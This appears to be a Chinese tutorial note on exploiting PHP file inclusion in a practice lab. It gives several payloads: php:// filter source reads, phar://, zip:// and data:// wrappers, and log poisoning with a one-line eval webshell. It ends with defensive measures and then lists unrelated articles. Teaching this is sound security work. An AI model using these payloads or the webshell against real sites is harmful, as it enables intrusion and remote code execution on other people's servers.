8.文件包含实战

本文涉及的产品
日志服务 SLS,月写入数据量 50GB 1个月
简介: 服务器执行PHP文件时,可以通过文件包含函数加载另一个文件中的PHP代码,并且当PHP来执行,这会为开发者节省大量的时间。这意味着您可以创建供所有网页引用的标准页眉或菜单文件。当页眉需要更新时,您只更新一个包含文件就可以了,或者当您向网站添加一张新页面时,仅仅需要修改一下菜单文件(而不是更新所有网页中的链接)。

靶场:
120.27.61.239:8005/source/test/index.php

php://filter/read=convert.base64-encode/resource=include.php

120.27.61.239:8005/source/test/index.php?lang=php://filter/read=convert.base64-encode/resource=index.php

image.png

image.png

php伪协议—— phar://
image.png

靶场:
http://120.27.61.239:8005/source/include2.php?file=a

ascsa.php?file=phar://./c.zip/c.txt ——> 相对路径
phar://E:/phpStudy/PHPTutorial/WWW/01yijing/include/c.zip/c.txt ——> 绝对路径

php伪协议——zip:// bzip2:// zlib://
image.png

image.png

asxcasc.php?file=zip://D:\phpinfo.jpg%23phpinfo.txt

php伪协议——http:// https://

php伪协议——data://

image.png

data://text/plain;base64,<?php phpinfo();?>

Apache——包含日志文件 ——>开启access.log 重启
image.png

·一般apache会存在两个日志文件:
1、访问日志文(access.log)访问日志默认是不开启
2、错误日志文件(error.log)
·apache开启日志功能时 主动记外部访问到access.log
http://120.27.61.239:8005/source/include2.php?file=<?php eval($_POST['zxcv'])?>
记录到日志会转义编码 burp转包 修改为正常 日志里面可以查看到正常地一句话木马
使用本地文件包含 包含access.log文件

adxas.php?file=file://E:/phpstudy/apache/logs/access.log
image.png

防御措施
·设置白名单:代码在进行文件包含时,如果文件名可以确定,可以设置白名单对传入的参 3422927312正在观看视频 数进行比较。 ·过滤危险字符:严格检查用户输入,参数中不允许出现../之类的目录跳转符 ·关闭危险配置:PHP配置中的allow url include选项如果打开,PHP会通过 Include/Require进行远程文件包含,由于远程文件的不可信任性及不确定性,在开发中禁止 打开此选项,PHP默认是关闭的。 ·限制文件包含的路径比如只能包含某个目录内的,PHP配置文件中有open_basedir选项 可以设置用户需要执行的文件目录,如果设置目录的话,PHP仅仅在该目录内搜索文件 ·严格判断包含中的的参数是否外部可控,尽量不要使用动态包含,可以在需要包含的页面 固定写好,如:include('head.php')

相关实践学习
【涂鸦即艺术】基于云应用开发平台CAP部署AI实时生图绘板
【涂鸦即艺术】基于云应用开发平台CAP部署AI实时生图绘板
相关文章
|
消息中间件 缓存 测试技术
企业微信针对百万级组织架构的客户端性能优化实践
本文主要分享的是企业微信在百对百万级大规模组织架构(后文简称大架构)时,是如何对客户端进行性能优化过程的,希望带给你启发。
184 0
|
开发工具
Python----使用schedule模块可以非常简单地设置定时任务
Python----使用schedule模块可以非常简单地设置定时任务
1607 0
|
12月前
|
搜索推荐 UED
敏感词 v0.19.0 新特性之敏感词单个编辑,不必重复初始化
【9月更文挑战第17天】敏感词管理在众多场景中至关重要。敏感词 v0.19.0 推出的新特性——单个编辑,无需重复初始化,显著提升了效率和灵活性,降低了系统负担。用户可直接修改特定敏感词,适用于内容审核平台、社交网络及电商平台等多种场景,确保及时响应变化,提升用户体验。这一特性为敏感词管理带来了重大改进,具有广泛的实用价值。
196 3
|
11月前
|
安全 网络协议 NoSQL
SSRF漏洞深入利用与防御方案绕过技巧
SSRF漏洞深入利用与防御方案绕过技巧
786 0
|
Kubernetes 应用服务中间件 nginx
K8s高可用集群二进制部署-V1.20
2.4 部署Etcd集群 以下在节点1上操作,为简化操作,待会将节点1生成的所有文件拷贝到节点2和节点3. 1. 创建工作目录并解压二进制包 mkdir /opt/etcd/{bin,cfg,ssl} -p tar zxvf etcd-v3.4.9-linux-amd64.tar.gz mv etcd-v3.4.9-linux-amd64/{etcd,etcdctl} /opt/etcd/bin/
181 1
|
9月前
|
存储 缓存 人工智能
Ascend上的FlashAttention实现
FlashAttention是优化Transformer模型计算效率和内存使用的技术,通过减少存储访问开销提升性能。它采用Tiling、Recomputation、分块SoftMax等策略,减少HBM访问,加速计算,并在昇腾AI处理器上实现了显著的性能提升。
|
Ubuntu Linux 测试技术
下载ISO镜像的方法 Debian、Red Hat 、CentOS、Ubuntu、Kali Linux🌐
Debian、Red Hat、CentOS、Ubuntu与Kali Linux均为知名Linux发行版。下载Debian须访问官网并按计算机架构选ISO文件。Red Hat下载通常需订阅账户,可从官网登录后获取。CentOS可从官网或镜像站点下载,注意CentOS 8已停更。Ubuntu下载简便,官网直接选取版本及架构即可。Kali Linux专为安全测试设计,官网提供直接下载ISO镜像服务。
2744 0
|
算法 Java
第二天_双指针【算法入门】
第二天_双指针【算法入门】
255 0
|
传感器 人工智能 算法
外骨骼机器人混战:程天科技做“深”,傅利叶智能做“广”
外骨骼机器人商用范围愈加广泛,产业发展不断提速。
158 0
|
SQL canal 容灾
数据导入与导出(五)|学习笔记
快速学习数据导入与导出(五)
数据导入与导出(五)|学习笔记